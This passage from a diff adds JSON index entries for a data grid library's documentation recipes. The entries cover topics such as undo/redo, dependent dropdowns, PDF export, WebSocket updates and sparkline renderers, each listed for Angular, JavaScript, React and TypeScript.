"bucket": "18.0", + "docsPath": "recipes/data-management/sync-two-grids/javascript/example1.ts", + "file": "recipes__data-management__sync-two-grids__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Sync two grids" + ], + "guide": "recipes/data-management/sync-two-grids/sync-two-grids.md", + "guideTitle": "Sync two grids", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/sync-two-grids", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/undo-redo-custom-ui/angular/example1.ts", + "file": "recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Undo / redo with a custom UI" + ], + "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", + "guideTitle": "Undo / redo with a custom UI", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/undo-redo-custom-ui", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/undo-redo-custom-ui/javascript/example1.js", + "file": "recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Undo / redo with a custom UI" + ], + "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", + "guideTitle": "Undo / redo with a custom UI", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/undo-redo-custom-ui", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/undo-redo-custom-ui/react/example1.tsx", + "file": "recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Undo / redo with a custom UI" + ], + "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", + "guideTitle": "Undo / redo with a custom UI", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/undo-redo-custom-ui", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/data-management/undo-redo-custom-ui/javascript/example1.ts", + "file": "recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Data Management", + "Undo / redo with a custom UI" + ], + "guide": "recipes/data-management/undo-redo-custom-ui/undo-redo-custom-ui.md", + "guideTitle": "Undo / redo with a custom UI", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/data-management/undo-redo-custom-ui", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/dependent-dropdowns/angular/example1.ts", + "file": "recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Dependent dropdowns" + ], + "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", + "guideTitle": "Dependent dropdowns", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/dependent-dropdowns", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/dependent-dropdowns/javascript/example1.js", + "file": "recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Dependent dropdowns" + ], + "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", + "guideTitle": "Dependent dropdowns", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/dependent-dropdowns", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/dependent-dropdowns/react/example1.tsx", + "file": "recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Dependent dropdowns" + ], + "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", + "guideTitle": "Dependent dropdowns", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/dependent-dropdowns", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/dependent-dropdowns/javascript/example1.ts", + "file": "recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Dependent dropdowns" + ], + "guide": "recipes/editing-validation/dependent-dropdowns/dependent-dropdowns.md", + "guideTitle": "Dependent dropdowns", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/dependent-dropdowns", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/row-validation-error-summary/angular/example1.ts", + "file": "recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Row validation with error summary" + ], + "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", + "guideTitle": "Row validation with error summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/row-validation-error-summary", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/row-validation-error-summary/javascript/example1.js", + "file": "recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Row validation with error summary" + ], + "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", + "guideTitle": "Row validation with error summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/row-validation-error-summary", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/row-validation-error-summary/react/example1.tsx", + "file": "recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Row validation with error summary" + ], + "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", + "guideTitle": "Row validation with error summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/row-validation-error-summary", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/editing-validation/row-validation-error-summary/javascript/example1.ts", + "file": "recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Editing Validation", + "Row validation with error summary" + ], + "guide": "recipes/editing-validation/row-validation-error-summary/row-validation-error-summary.md", + "guideTitle": "Row validation with error summary", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/editing-validation/row-validation-error-summary", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/external-search-box/angular/example1.ts", + "file": "recipes__filtering-and-search__external-search-box__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "External search box" + ], + "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", + "guideTitle": "External search box", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/external-search-box", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/external-search-box/javascript/example1.js", + "file": "recipes__filtering-and-search__external-search-box__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "External search box" + ], + "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", + "guideTitle": "External search box", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/external-search-box", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/external-search-box/react/example1.tsx", + "file": "recipes__filtering-and-search__external-search-box__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "External search box" + ], + "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", + "guideTitle": "External search box", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/external-search-box", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/external-search-box/javascript/example1.ts", + "file": "recipes__filtering-and-search__external-search-box__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "External search box" + ], + "guide": "recipes/filtering-and-search/external-search-box/external-search-box.md", + "guideTitle": "External search box", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/external-search-box", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/highlight-search-matches/angular/example1.ts", + "file": "recipes__filtering-and-search__highlight-search-matches__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "Highlight search matches" + ], + "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", + "guideTitle": "Highlight search matches", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/highlight-search-matches/javascript/example1.js", + "file": "recipes__filtering-and-search__highlight-search-matches__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "Highlight search matches" + ], + "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", + "guideTitle": "Highlight search matches", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/highlight-search-matches/react/example1.tsx", + "file": "recipes__filtering-and-search__highlight-search-matches__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "Highlight search matches" + ], + "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", + "guideTitle": "Highlight search matches", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-and-search/highlight-search-matches/javascript/example1.ts", + "file": "recipes__filtering-and-search__highlight-search-matches__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering And Search", + "Highlight search matches" + ], + "guide": "recipes/filtering-and-search/highlight-search-matches/highlight-search-matches.md", + "guideTitle": "Highlight search matches", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-and-search/highlight-search-matches", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-search/multi-column-filter-panel/angular/example1.ts", + "file": "recipes__filtering-search__multi-column-filter-panel__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering Search", + "Multi-column filter panel" + ], + "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", + "guideTitle": "Multi-column filter panel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-search/multi-column-filter-panel/javascript/example1.js", + "file": "recipes__filtering-search__multi-column-filter-panel__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Filtering Search", + "Multi-column filter panel" + ], + "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", + "guideTitle": "Multi-column filter panel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-search/multi-column-filter-panel/react/example1.tsx", + "file": "recipes__filtering-search__multi-column-filter-panel__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Filtering Search", + "Multi-column filter panel" + ], + "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", + "guideTitle": "Multi-column filter panel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/filtering-search/multi-column-filter-panel/javascript/example1.ts", + "file": "recipes__filtering-search__multi-column-filter-panel__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Filtering Search", + "Multi-column filter panel" + ], + "guide": "recipes/filtering-search/multi-column-filter-panel/multi-column-filter-panel.md", + "guideTitle": "Multi-column filter panel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/filtering-search/multi-column-filter-panel", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/export-to-pdf/angular/example1.ts", + "file": "recipes__import-export__export-to-pdf__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Export to PDF" + ], + "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", + "guideTitle": "Export to PDF", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/export-to-pdf", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/export-to-pdf/javascript/example1.js", + "file": "recipes__import-export__export-to-pdf__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Export to PDF" + ], + "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", + "guideTitle": "Export to PDF", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/export-to-pdf", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/export-to-pdf/react/example1.tsx", + "file": "recipes__import-export__export-to-pdf__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Export to PDF" + ], + "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", + "guideTitle": "Export to PDF", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/export-to-pdf", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/export-to-pdf/javascript/example1.ts", + "file": "recipes__import-export__export-to-pdf__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Export to PDF" + ], + "guide": "recipes/import-export/export-to-pdf/export-to-pdf.md", + "guideTitle": "Export to PDF", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/export-to-pdf", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/import-csv-excel/angular/example1.ts", + "file": "recipes__import-export__import-csv-excel__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Import from CSV or Excel" + ], + "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", + "guideTitle": "Import from CSV or Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/import-csv-excel", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/import-csv-excel/javascript/example1.js", + "file": "recipes__import-export__import-csv-excel__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Import from CSV or Excel" + ], + "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", + "guideTitle": "Import from CSV or Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/import-csv-excel", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/import-csv-excel/react/example1.tsx", + "file": "recipes__import-export__import-csv-excel__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Import from CSV or Excel" + ], + "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", + "guideTitle": "Import from CSV or Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/import-csv-excel", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/import-export/import-csv-excel/javascript/example1.ts", + "file": "recipes__import-export__import-csv-excel__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Import Export", + "Import from CSV or Excel" + ], + "guide": "recipes/import-export/import-csv-excel/import-csv-excel.md", + "guideTitle": "Import from CSV or Excel", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/import-export/import-csv-excel", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/lazy-loading/angular/example1.ts", + "file": "recipes__performance__lazy-loading__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Lazy loading with pagination" + ], + "guide": "recipes/performance/lazy-loading/lazy-loading.md", + "guideTitle": "Lazy loading with pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/lazy-loading", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/lazy-loading/javascript/example1.js", + "file": "recipes__performance__lazy-loading__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Lazy loading with pagination" + ], + "guide": "recipes/performance/lazy-loading/lazy-loading.md", + "guideTitle": "Lazy loading with pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/lazy-loading", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/lazy-loading/react/example1.tsx", + "file": "recipes__performance__lazy-loading__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Lazy loading with pagination" + ], + "guide": "recipes/performance/lazy-loading/lazy-loading.md", + "guideTitle": "Lazy loading with pagination", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/lazy-loading", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/persist-column-layout/angular/example1.ts", + "file": "recipes__performance__persist-column-layout__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Persist and restore column widths and order" + ], + "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", + "guideTitle": "Persist and restore column widths and order", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/persist-column-layout", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/persist-column-layout/javascript/example1.js", + "file": "recipes__performance__persist-column-layout__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Persist and restore column widths and order" + ], + "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", + "guideTitle": "Persist and restore column widths and order", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/persist-column-layout", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/performance/persist-column-layout/react/example1.tsx", + "file": "recipes__performance__persist-column-layout__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Performance", + "Persist and restore column widths and order" + ], + "guide": "recipes/performance/persist-column-layout/persist-column-layout.md", + "guideTitle": "Persist and restore column widths and order", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/performance/persist-column-layout", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/websocket-updates/angular/example1.ts", + "file": "recipes__real-time__websocket-updates__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Real-time cell updates via WebSocket" + ], + "guide": "recipes/real-time/websocket-updates/websocket-updates.md", + "guideTitle": "Real-time cell updates via WebSocket", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/websocket-updates", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/websocket-updates/javascript/example1.js", + "file": "recipes__real-time__websocket-updates__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Real-time cell updates via WebSocket" + ], + "guide": "recipes/real-time/websocket-updates/websocket-updates.md", + "guideTitle": "Real-time cell updates via WebSocket", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/websocket-updates", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/websocket-updates/react/example1.tsx", + "file": "recipes__real-time__websocket-updates__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Real-time cell updates via WebSocket" + ], + "guide": "recipes/real-time/websocket-updates/websocket-updates.md", + "guideTitle": "Real-time cell updates via WebSocket", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/websocket-updates", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/chartjs-sync/angular/example1.ts", + "file": "recipes__real-time__chartjs-sync__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Sync rows to a Chart.js chart" + ], + "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", + "guideTitle": "Sync rows to a Chart.js chart", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/chartjs-sync", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/chartjs-sync/javascript/example1.js", + "file": "recipes__real-time__chartjs-sync__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Sync rows to a Chart.js chart" + ], + "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", + "guideTitle": "Sync rows to a Chart.js chart", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/chartjs-sync", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/chartjs-sync/react/example1.tsx", + "file": "recipes__real-time__chartjs-sync__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Sync rows to a Chart.js chart" + ], + "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", + "guideTitle": "Sync rows to a Chart.js chart", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/chartjs-sync", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/real-time/chartjs-sync/javascript/example1.ts", + "file": "recipes__real-time__chartjs-sync__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Real Time", + "Sync rows to a Chart.js chart" + ], + "guide": "recipes/real-time/chartjs-sync/chartjs-sync.md", + "guideTitle": "Sync rows to a Chart.js chart", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/real-time/chartjs-sync", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/conditional-row-coloring/angular/example1.ts", + "file": "recipes__rendering-styling__conditional-row-coloring__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Conditional row coloring" + ], + "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", + "guideTitle": "Conditional row coloring", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/conditional-row-coloring/javascript/example1.js", + "file": "recipes__rendering-styling__conditional-row-coloring__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Conditional row coloring" + ], + "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", + "guideTitle": "Conditional row coloring", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/conditional-row-coloring/react/example1.tsx", + "file": "recipes__rendering-styling__conditional-row-coloring__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Conditional row coloring" + ], + "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", + "guideTitle": "Conditional row coloring", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/conditional-row-coloring/javascript/example1.ts", + "file": "recipes__rendering-styling__conditional-row-coloring__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Conditional row coloring" + ], + "guide": "recipes/rendering-styling/conditional-row-coloring/conditional-row-coloring.md", + "guideTitle": "Conditional row coloring", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/conditional-row-coloring", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/frozen-summary-row/angular/example1.ts", + "file": "recipes__rendering-styling__frozen-summary-row__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Frozen summary row" + ], + "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", + "guideTitle": "Frozen summary row", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/frozen-summary-row", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/frozen-summary-row/javascript/example1.js", + "file": "recipes__rendering-styling__frozen-summary-row__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Frozen summary row" + ], + "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", + "guideTitle": "Frozen summary row", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/frozen-summary-row", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/frozen-summary-row/react/example1.tsx", + "file": "recipes__rendering-styling__frozen-summary-row__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Frozen summary row" + ], + "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", + "guideTitle": "Frozen summary row", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/frozen-summary-row", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/frozen-summary-row/javascript/example1.ts", + "file": "recipes__rendering-styling__frozen-summary-row__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Frozen summary row" + ], + "guide": "recipes/rendering-styling/frozen-summary-row/frozen-summary-row.md", + "guideTitle": "Frozen summary row", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/frozen-summary-row", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/angular/example1.ts", + "file": "recipes__rendering-styling__sparkline-cell-renderer__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Sparkline cell renderer" + ], + "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", + "guideTitle": "Sparkline cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/javascript/example1.js", + "file": "recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Sparkline cell renderer" + ], + "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", + "guideTitle": "Sparkline cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/react/example1.tsx", + "file": "recipes__rendering-styling__sparkline-cell-renderer__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Sparkline cell renderer" + ], + "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", + "guideTitle": "Sparkline cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/rendering-styling/sparkline-cell-renderer/javascript/example1.ts", + "file": "recipes__rendering-styling__sparkline-cell-renderer__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Rendering Styling", + "Sparkline cell renderer" + ], + "guide": "recipes/rendering-styling/sparkline-cell-renderer/sparkline-cell-renderer.md", + "guideTitle": "Sparkline cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/rendering-styling/sparkline-cell-renderer", + "framework": "typescript", + "displayName": 